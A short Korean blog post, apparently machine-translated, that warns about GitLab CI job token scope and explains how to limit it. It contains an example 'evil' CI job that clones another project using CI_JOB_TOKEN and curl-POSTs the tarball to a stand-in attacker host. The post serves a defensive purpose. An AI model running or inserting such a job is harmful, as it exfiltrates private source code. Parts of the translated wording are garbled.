보안 GTLabCI 태스크 토큰

2213 단어 GitLabtech

보안 GTLabCI 태스크 토큰


GTLab CI 편해요!없으면 죽어.
GitLabCI 작업을 수행할 때CI 토큰 발행된 것으로 CI 작업 중의git 창고에서 얻을 수 있습니다.일부 GitLab API는 CI 태스크 토큰을 수락하므로 GitLab Contaainer Registry로 이동할 수도 있습니다.

진짜 무서운 CI 토큰


대략적으로 말하면, CI 퀘스트 영패는 권한이 있는 개인 방문 영패이다.CI 킥을 하는 모든 사람(밀어내는 사람 및 병합하는 사람 포함)이 액세스할 수 있는 그룹과 항목에 액세스할 수 있습니다.
공격자는 같은 프로젝트에 참가한 구성원에게 CI 임무를 수행하게 함으로써 이 구성원이 참가한 다른 프로젝트를 방문할 수 있다.
  • 타로가 시그마 프로젝트에 참가했다
  • 델타 프로젝트 타로와 화자가 참가해 난잡하게 관리했다
  • 플라워는 델타 프로젝트의 CI 작업에 다음과 같은 처리를 포함한다.
    evil:
      script:
        - git clone https://gitlab-ci-token:${CI_JOB_TOKEN}/gitlab.example.com/sigma/sigma.git
        - tar zcvf sigma.tar.gz sigma
        - curl -X POST -F file1=sigma.tar.gz http://hanako.example.jp/evil
    
    타로가 삼각주 프로젝트로 밀어붙이면 이evil 작업이 시작되고 원본 코드가 조용히 뽑힌다.
    불곰 종목이 아무리 안전에 신경을 써도 거친 삼각주 종목 때문에 영향을 받을 수 있다.

    CI 토큰의 역할 범위 제한


    Limit GitLab CI/CD job token access에 쓰인 바와 같다.
    프로젝트 열기Settings->CI/CD->Token Access, 열기Limit CI_JOB_TOKEN access.

    이 항목에서는 다른 항목에 대한 CI 태스크 토큰이 더 이상 수락되지 않습니다.
    특정 프로젝트에 대한 CI 태스크 토큰을 허용할 수도 있습니다.여러 프로젝트를 연합할 때 이 항목을 설정합니다.

    좋은 웹페이지 즐겨찾기